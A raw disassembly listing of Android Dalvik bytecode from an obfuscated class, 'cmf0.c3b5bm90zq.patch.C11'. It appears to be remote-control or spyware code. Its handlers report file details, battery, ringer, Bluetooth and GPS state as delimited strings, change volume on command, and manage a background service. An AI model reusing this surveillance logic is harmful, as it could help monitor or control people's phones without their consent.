    000815d2add-float/2addr v3, v4
    000815d4invoke-direct {v1, v2, v4, v0, v3}, Landroid/graphics/RectF;-><init>(FFFF)V
    000815dainvoke-virtual {v7}, Landroid/graphics/Bitmap;->getConfig()Landroid/graphics/Bitmap$Config;
    000815e0move-result-object v0
    000815e2invoke-static {v9, v8, v0}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
    000815e8move-result-object v8
    000815eanew-instance v9, Landroid/graphics/Canvas;
    000815eeinvoke-direct {v9, v8}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
    000815f4const/4 v0, 0x0
    000815f6invoke-virtual {v9, v7, v0, v1, v0}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;Landroid/graphics/Rect;Landroid/graphics/RectF;Landroid/graphics/Paint;)V
    000815fcreturn-object v8
    00081580
    000815fe
    000815fe // align 0x10
    00081600
    00081600cmf0.c3b5bm90zq.patch.C11::a(android.content.Context):
    00081610const/4 v0, 0x0
    00081612new-instance v1, Landroid/content/IntentFilter;
    00081616const-string v2, "android.intent.action.BATTERY_CHANGED"
    0008161ainvoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
    00081620invoke-virtual {v4, v0, v1}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
    00081626move-result-object v4
    00081628const-string v0, "temperature"
    0008162cconst/4 v1, 0x0
    0008162einvoke-virtual {v4, v0, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
    00081634move-result v4
    00081636int-to-float v4, v4
    00081638const/high16 v0, 0x41200000
    0008163cdiv-float/2addr v4, v0
    0008163enew-instance v0, Ljava/lang/StringBuilder;
    00081642invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00081648invoke-static {v4}, Ljava/lang/String;->valueOf(F)Ljava/lang/String;
    0008164emove-result-object v4
    00081650invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081656const-string v4, "*C"
    0008165ainvoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081660invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081666move-result-object v4
    00081668return-object v4
    0008166aconst-string v4, "0*C"
    0008166ereturn-object v4
    00081600
    00081670
    00081670 struct try_item
    00081670 start_addr uint32 0x81612
    00081674 insn_count int 43
    00081676 handler_off uint16 0x81679
    00081678
    00081678 struct encoded_catch_handler_list
    00081678 size int 1
    00081679
    00081679 struct encoded_catch_handler ← 0x81676
    00081679 size int64 1
    0008167a handlers[0].type_idx int 0x5994
    0008167c handlers[0].addr uint32 0x8166a
    0008167d
    0008167d // align 0x10
    00081680
    00081680cmf0.c3b5bm90zq.patch.C11::a():
    00081690new-instance v0, Ljava/lang/Thread;
    00081694new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$23;
    00081698invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$23;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    0008169einvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000816a4invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000816aareturn-void
    00081680
    000816ac
    000816accmf0.c3b5bm90zq.patch.C11::a(java.lang.String, java.lang.String):
    000816bcnew-instance v0, Ljava/lang/StringBuilder;
    000816c0invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    000816c6invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000816ccconst-string v7, "/"
    000816d0invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000816d6invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000816dcinvoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000816e2move-result-object v7
    000816e4invoke-virtual {v7}, Ljava/lang/String;->trim()Ljava/lang/String;
    000816eamove-result-object v7
    000816ecinvoke-static {v7}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
    000816f2move-result-object v7
    000816f4new-instance v8, Ljava/io/File;
    000816f8invoke-virtual {v7}, Landroid/net/Uri;->getPath()Ljava/lang/String;
    000816femove-result-object v7
    00081700invoke-direct {v8, v7}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    00081706invoke-virtual {v8}, Ljava/io/File;->exists()Z
    0008170cmove-result v7
    0008170eif-eqz v7, :cond_7a
    00081712invoke-virtual {v8}, Ljava/io/File;->length()J
    00081718move-result-wide v0
    0008171anew-instance v7, Ljava/lang/StringBuilder;
    0008171einvoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
    00081724sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00081728const-wide/16 v4, 0x48
    0008172cinvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00081732move-result-object v2
    00081734invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008173asget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008173einvoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081744sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00081748const-wide/16 v4, 0x66
    0008174cinvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00081752move-result-object v2
    00081754invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008175asget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008175einvoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081764invoke-virtual {v8}, Ljava/io/File;->getName()Ljava/lang/String;
    0008176amove-result-object v2
    0008176cinvoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081772sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081776invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008177cinvoke-static {v0, v1}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
    00081782move-result-object v0
    00081784invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008178asget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008178einvoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081794invoke-virtual {v8}, Ljava/io/File;->getPath()Ljava/lang/String;
    0008179amove-result-object v8
    0008179cinvoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000817a2invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000817a8move-result-object v7
    000817aainvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000817b0return-void
    000816ac
    000817b2
    000817b2 // align 0x4
    000817b4
    000817b4cmf0.c3b5bm90zq.patch.C11::a(java.lang.String, java.lang.String, java.lang.String):
    000817c4new-instance v0, Ljava/lang/Thread;
    000817c8new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$3;
    000817ccinvoke-direct {v1, v2, v4, v5, v3}, Lcmf0/c3b5bm90zq/patch/C11$3;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
    000817d2invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000817d8invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000817dereturn-void
    000817b4
    000817e0
    000817e0cmf0.c3b5bm90zq.patch.C11::a(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String):
    000817f0new-instance v0, Ljava/lang/Thread;
    000817f4new-instance v8, Lcmf0/c3b5bm90zq/patch/C11$5;
    000817f8move-object v1, v8
    000817famove-object v2, v9
    000817fcmove-object v3, v11
    000817femove-object v4, v10
    00081800move-object v5, v12
    00081802move-object v6, v14
    00081804move-object v7, v13
    00081806invoke-direct/range {v1 .. v7}, Lcmf0/c3b5bm90zq/patch/C11$5;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
    0008180cinvoke-direct {v0, v8}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00081812invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00081818return-void
    000817e0
    0008181a
    0008181a // align 0x4
    0008181c
    0008181ccmf0.c3b5bm90zq.patch.C11::a(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String):
    0008182cinvoke-static {v1}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    00081832move-result-object v1
    00081834invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    0008183amove-result v1
    0008183csput v1, Lcmf0/c3b5bm90zq/patch/C11;->q:I
    00081840invoke-static {v2}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    00081846move-result-object v1
    00081848invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    0008184emove-result v1
    00081850sput v1, Lcmf0/c3b5bm90zq/patch/C11;->r:I
    00081854invoke-static {v3}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    0008185amove-result-object v1
    0008185cinvoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    00081862move-result v1
    00081864sput v1, Lcmf0/c3b5bm90zq/patch/C11;->s:I
    00081868invoke-static {v4}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    0008186emove-result-object v1
    00081870invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    00081876move-result v1
    00081878sput v1, Lcmf0/c3b5bm90zq/patch/C11;->t:I
    0008187cinvoke-static {v5}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    00081882move-result-object v1
    00081884invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    0008188amove-result v1
    0008188csput v1, Lcmf0/c3b5bm90zq/patch/C11;->u:I
    00081890invoke-static {v6}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    00081896move-result-object v1
    00081898invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    0008189emove-result v1
    000818a0sput v1, Lcmf0/c3b5bm90zq/patch/C11;->v:I
    000818a4invoke-static {v7}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    000818aamove-result-object v1
    000818acinvoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    000818b2move-result v1
    000818b4sput v1, Lcmf0/c3b5bm90zq/patch/C11;->w:I
    000818b8invoke-static {v8}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    000818bemove-result-object v1
    000818c0invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    000818c6move-result v1
    000818c8sput v1, Lcmf0/c3b5bm90zq/patch/C11;->x:I
    000818ccnew-instance v1, Landroid/content/Intent;
    000818d0const-class v2, Lcmf0/c3b5bm90zq/patch/C5;
    000818d4invoke-direct {v1, v0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    000818dasget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000818deconst-class v3, Lcmf0/c3b5bm90zq/patch/C5;
    000818e2invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    000818e8move-result-object v4
    000818eainvoke-virtual {v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/a;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    000818f0move-result v2
    000818f2if-nez v2, :cond_69
    000818f6invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    000818fcgoto :goto_74
    000818fenew-instance v2, Landroid/content/Intent;
    00081902const-class v3, Lcmf0/c3b5bm90zq/patch/C5;
    00081906invoke-direct {v2, v0, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    0008190cinvoke-virtual {v0, v2}, Lcmf0/c3b5bm90zq/patch/C11;->stopService(Landroid/content/Intent;)Z
    00081912goto :goto_65
    00081914return-void
    0008181c
    00081916
    00081916 struct code_item_padding
    00081916 padding uint16 0x0000
    00081918
    00081918 struct try_item
    00081918 start_addr uint32 0x8182c
    0008191c insn_count int 115
    0008191e handler_off uint16 0x81921
    00081920
    00081920 struct encoded_catch_handler_list
    00081920 size int 1
    00081921
    00081921 struct encoded_catch_handler ← 0x8191e
    00081921 size int64 1
    00081922 handlers[0].type_idx int 0x5994
    00081924 handlers[0].addr uint32 0x81914
    00081925
    00081925 // align 0x8
    00081928
    00081928cmf0.c3b5bm90zq.patch.C11::a(java.lang.String[], java.lang.String, java.lang.String):
    00081938new-instance v0, Ljava/lang/Thread;
    0008193cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$21;
    00081940invoke-direct {v1, v2, v5, v4, v3}, Lcmf0/c3b5bm90zq/patch/C11$21;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
    00081946invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    0008194cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00081952return-void
    00081928
    00081954
    00081954cmf0.c3b5bm90zq.patch.C11::b():
    00081964new-instance v0, Ljava/lang/Thread;
    00081968new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$31;
    0008196cinvoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$31;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    00081972invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00081978invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008197ereturn-void
    00081954
    00081980
    00081980cmf0.c3b5bm90zq.patch.C11::b(java.lang.String, java.lang.String):
    00081990new-instance v0, Ljava/lang/Thread;
    00081994new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$8;
    00081998invoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11$8;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    0008199einvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000819a4invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000819aareturn-void
    00081980
    000819ac
    000819accmf0.c3b5bm90zq.patch.C11::b(java.lang.String, java.lang.String, java.lang.String):
    000819bcinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    000819c2move-result-object v0
    000819c4const-string v1, "audio"
    000819c8invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000819cemove-result-object v0
    000819d0check-cast v0, Landroid/media/AudioManager;
    000819d4const-string v1, "-1"
    000819d8invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000819demove-result v1
    000819e0const/4 v2, 0x3
    000819e2const/4 v3, 0x5
    000819e4const/4 v4, 0x2
    000819e6const/4 v5, 0x0
    000819e8const/4 v6, 0x1
    000819eaif-nez v1, :cond_34
    000819eeinvoke-static {v8}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
    000819f4move-result v8
    000819f6invoke-static {v9}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
    000819fcmove-result v9
    000819fepacked-switch v8, :pswitch_data_328
    00081a04goto :goto_34
    00081a06invoke-virtual {v0, v6, v9, v5}, Landroid/media/AudioManager;->setStreamVolume(III)V
    00081a0cgoto :goto_34
    00081a0einvoke-virtual {v0, v3, v9, v5}, Landroid/media/AudioManager;->setStreamVolume(III)V
    00081a14goto :goto_34
    00081a16invoke-virtual {v0, v2, v9, v5}, Landroid/media/AudioManager;->setStreamVolume(III)V
    00081a1cgoto :goto_34
    00081a1einvoke-virtual {v0, v4, v9, v5}, Landroid/media/AudioManager;->setStreamVolume(III)V
    00081a24const-string v8, "-1"
    00081a28invoke-virtual {v10, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00081a2emove-result v8
    00081a30if-nez v8, :cond_3f
    00081a34invoke-virtual {v7, v10}, Lcmf0/c3b5bm90zq/patch/C11;->g(Ljava/lang/String;)V
    00081a3anew-instance v8, Ljava/lang/StringBuilder;
    00081a3einvoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
    00081a44sget-object v9, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081a48invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081a4einvoke-virtual {v0}, Landroid/media/AudioManager;->getRingerMode()I
    00081a54move-result v9
    00081a56if-ne v9, v4, :cond_66
    00081a5anew-instance v9, Ljava/lang/StringBuilder;
    00081a5einvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081a64const-string v10, "True"
    00081a68invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081a6esget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081a72invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081a78invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081a7emove-result-object v9
    00081a80invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081a86goto :goto_76
    00081a88new-instance v9, Ljava/lang/StringBuilder;
    00081a8cinvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081a92const-string v10, "False"
    00081a96invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081a9csget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081aa0invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081aa6goto :goto_5e
    00081aa8invoke-virtual {v0}, Landroid/media/AudioManager;->getRingerMode()I
    00081aaemove-result v9
    00081ab0if-ne v9, v6, :cond_93
    00081ab4new-instance v9, Ljava/lang/StringBuilder;
    00081ab8invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081abeconst-string v10, "True"
    00081ac2invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ac8sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081accinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ad2invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081ad8move-result-object v9
    00081adainvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ae0goto :goto_a3
    00081ae2new-instance v9, Ljava/lang/StringBuilder;
    00081ae6invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081aecconst-string v10, "False"
    00081af0invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081af6sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081afainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b00goto :goto_8b
    00081b02invoke-virtual {v0}, Landroid/media/AudioManager;->getRingerMode()I
    00081b08move-result v9
    00081b0aif-nez v9, :cond_c0
    00081b0enew-instance v9, Ljava/lang/StringBuilder;
    00081b12invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081b18const-string v10, "True"
    00081b1cinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b22sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081b26invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b2cinvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081b32move-result-object v9
    00081b34invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b3agoto :goto_112
    00081b3cnew-instance v9, Ljava/lang/StringBuilder;
    00081b40invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081b46const-string v10, "False"
    00081b4ainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b50sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081b54invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b5agoto :goto_b8
    00081b5cnew-instance v9, Ljava/lang/StringBuilder;
    00081b60invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081b66const-string v10, "-1"
    00081b6ainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b70sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081b74invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b7ainvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081b80move-result-object v9
    00081b82invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b88new-instance v9, Ljava/lang/StringBuilder;
    00081b8cinvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081b92const-string v10, "-1"
    00081b96invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b9csget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081ba0invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ba6invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081bacmove-result-object v9
    00081baeinvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081bb4new-instance v9, Ljava/lang/StringBuilder;
    00081bb8invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081bbeconst-string v10, "-1"
    00081bc2invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081bc8sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081bccinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081bd2invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081bd8move-result-object v9
    00081bdainvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081be0invoke-static {}, Landroid/bluetooth/BluetoothAdapter;->getDefaultAdapter()Landroid/bluetooth/BluetoothAdapter;
    00081be6move-result-object v9
    00081be8if-nez v9, :cond_12f
    00081becnew-instance v9, Ljava/lang/StringBuilder;
    00081bf0invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081bf6const-string v10, "-1"
    00081bfainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c00sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081c04invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c0ainvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081c10move-result-object v9
    00081c12invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c18goto :goto_16b
    00081c1ainvoke-virtual {v9}, Landroid/bluetooth/BluetoothAdapter;->isEnabled()Z
    00081c20move-result v9
    00081c22if-eqz v9, :cond_145
    00081c26new-instance v9, Ljava/lang/StringBuilder;
    00081c2ainvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081c30const-string v10, "True"
    00081c34invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c3asget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081c3einvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c44goto :goto_127
    00081c46new-instance v9, Ljava/lang/StringBuilder;
    00081c4ainvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081c50const-string v10, "False"
    00081c54invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c5asget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081c5einvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c64goto :goto_127
    00081c66new-instance v9, Ljava/lang/StringBuilder;
    00081c6ainvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081c70const-string v10, "-1"
    00081c74invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c7asget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081c7einvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c84invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081c8amove-result-object v9
    00081c8cinvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c92invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081c98move-result-object v9
    00081c9aconst-string v10, "location"
    00081c9einvoke-virtual {v9, v10}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00081ca4move-result-object v9
    00081ca6check-cast v9, Landroid/location/LocationManager;
    00081caaconst-string v10, "gps"
    00081caeinvoke-virtual {v9, v10}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
    00081cb4move-result v9
    00081cb6if-eqz v9, :cond_196
    00081cbanew-instance v9, Ljava/lang/StringBuilder;
    00081cbeinvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081cc4const-string v10, "True"
    00081cc8invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ccesget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081cd2invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081cd8invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081cdemove-result-object v9
    00081ce0invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ce6goto :goto_1bc
    00081ce8new-instance v9, Ljava/lang/StringBuilder;
    00081cecinvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081cf2const-string v10, "False"
    00081cf6invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081cfcsget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081d00invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081d06goto :goto_18e
